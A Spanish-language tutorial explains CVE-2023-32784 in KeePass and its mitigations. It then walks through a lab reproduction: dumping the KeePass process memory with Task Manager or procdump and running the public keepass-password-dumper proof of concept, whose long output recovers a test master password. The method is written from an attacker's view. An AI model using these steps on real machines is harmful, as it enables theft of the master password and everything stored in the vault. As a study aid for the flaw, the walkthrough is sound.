Técnica CVE-2023-32784 (Keepass-password-dump)

Información de la vulnerabilidad

La vulnerabilidad CVE-2023-32784 afecta a versiones anteriores a KeePass 2.54. Esta falla permite extraer la contraseña maestra en texto claro desde la memoria del sistema, incluso si la base de datos está bloqueada o KeePass ya no está en ejecución. Los datos residuales de contraseñas ingresadas permanecen en ubicaciones como el memory dump, el archivo de intercambio (pagefile.sys), o el archivo de hibernación (hiberfil.sys).

El problema radica en cómo KeePass maneja las contraseñas en su cuadro de texto personalizado (SecureTextBoxEx), donde se almacenan fragmentos del texto ingresado en la memoria de forma no segura. Aunque el primer carácter de la contraseña no es recuperable, los demás pueden reconstruirse usando herramientas específicas, como el script keepass-password-dumper, desarrollado como prueba de concepto por investigadores.

Una mitigación ha sido introducida en KeePass 2.54 mediante el uso de llamadas a la API de Windows que insertan cadenas aleatorias para dificultar la recuperación de datos de memoria. Sin embargo, esta vulnerabilidad no puede explotarse remotamente y requiere acceso físico o malware en el sistema afectado【14】【15】【16】.

Recomendaciones:

  • Actualiza a KeePass 2.54 o superior.

  • Elimina archivos como dumps de memoria, archivos de hibernación y de intercambio después de cerrar KeePass.

  • Asegura el dispositivo contra malware, ya que la explotación requiere acceso local.

Más información sobre esta vulnerabilidad está disponible en SecurityWeek y la base de datos CVE.

Técnica de la vulnerabilidad

Para poder realizar esta tecnica la version de keepass tiene que ser la 2.53.1 ya que es la version vulnerable, junto con algunas dependencias que vamos a necesitar mas, todo esta en el siguiente link:

URL = Download Tools

Una vez que descomprimamos el archivo, veremos 3 instaladores llamados:

dotnet-runtime-7.0.20-win-x64.exe
dotnet-sdk-9.0.101-win-x64.exe
KeePass-2.53.1-Setup.exe

Tendremos que instalar los 3 para preparar nuestro entorno y el instalador del keepass lo instalaremos en nuestro entorno vulnerable, cuando se haya instalado keepass tendremos que crear una base de datos asignandole una contraseña la cual vamos a descubrir con la tecnica, en mi caso pondre secretpassword, por lo que nos metera en la base de datos y teniendo la base de datos abierta y activa, tendremos que realizar un volcado de memoria de la misma.

En este punto un atacante tendra que esperar hasta que la victima tenga el keepass abierto, por lo que nos iremos al administrador de tareas y buscaremos keepass, veremos algo asi:

Por lo que le daremos click derecho -> Crear archivo de volcado de memoria y esto nos lo creara, le daremos a Abrir ubicacion del archivo y lo pegaremos donde tengamos la carpeta que descomprimimos inicialmente entrando en ella y pegandola dentro de la carpeta llamada keepass-password-dumper-main.

Una vez echo eso y teniendo el .dmp dentro de la carpeta abriremos una terminal en la misma carpeta keepass-password-dumper-main y ejecutaremos lo siguiente:

dotnet run <VOLCADO_KEEPASS>

Ejemplo:

dotnet run KeePass.DMP

Info:

C:\Program Files\dotnet\sdk\9.0.101\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.EolTargetFrameworks.targets(32,5): warning NETSDK1138: La plataforma de destino "net7.0" no tiene soporte técnico y no recibirá actualizaciones de seguridad en el futuro. Para obtener más información sobre la directiva de soporte técnico, consulte https://aka.ms/dotnet-core-support.
C:\Program Files\dotnet\sdk\9.0.101\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.EolTargetFrameworks.targets(32,5): warning NETSDK1138: La plataforma de destino "net7.0" no tiene soporte técnico y no recibirá actualizaciones de seguridad en el futuro. Para obtener más información sobre la directiva de soporte técnico, consulte https://aka.ms/dotnet-core-support.
C:\Program Files\dotnet\sdk\9.0.101\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.EolTargetFrameworks.targets(32,5): warning NETSDK1138: La plataforma de destino "net7.0" no tiene soporte técnico y no recibirá actualizaciones de seguridad en el futuro. Para obtener más información sobre la directiva de soporte técnico, consulte https://aka.ms/dotnet-core-support.
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●Ï
Found: ●£
Found: ●§
Found: ●e
Found: ●
Found: ●\
Found: ●e
Found: ●R
Found: ●6
Found: ●.
Found: ●À
Found: ●U
Found: ●J
Found: ●;
Found: ●w
Found: ●c

Password candidates (character positions):
Unknown characters are displayed as "●"
1.:     ●
2.:     e, Ï, £, §, , \, R, 6, ., À, U, J, ;, w, c,
3.:     c,
4.:     r,
5.:     e,
6.:     t,
7.:     p,
8.:     a,
9.:     s,
10.:    s,
11.:    w,
12.:    o,
13.:    r,
14.:    d,
Combined: ●{e, Ï, £, §, , \, R, 6, ., À, U, J, ;, w, c}cretpassword

Y veremos que nos la saco practicamente, pero de este resultado se puede intuir que es secretpassword.

Version Terminal

Cuando el keepass este activo, podremos filtrar los proceso que se estan corriendo con el siguiente comando:

tasklist | findstr KeePass

Info:

KeePass.exe                   9556 Console                    1   259.032 KB

Por lo que vemos el PID del keepass es el 9556, por lo que nos descargaremos el siguiente archivo:

URL = Download procdump

Lo descomprimiremos y moveremos el ejecutable llamado procdump64.exe a la carpeta keepass-password-dumper-main y desde la terminal estando dentro de la carpeta pondremos lo siguiente para realizar un volcado del keepass:

.\procdump64.exe -ma 9556 KeePass.dmp

Info:

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[14:24:12] Dump 1 initiated: C:\Users\clipd\Desktop\CVE-2023-32784\keepass-password-dumper-main\KeePass.dmp
[14:24:12] Dump 1 writing: Estimated dump file size is 260 MB.
[14:24:12] Dump 1 complete: 260 MB written in 0.4 seconds
[14:24:13] Dump count reached.

Vemos que se ha realizado correctamente y si vamos a ver si esta el archivo, veremos lo siguiente:

Se ha realizado correctamente, por lo que ya podremos seguir con el proceso para intentar dumpear la contraseña.

Last updated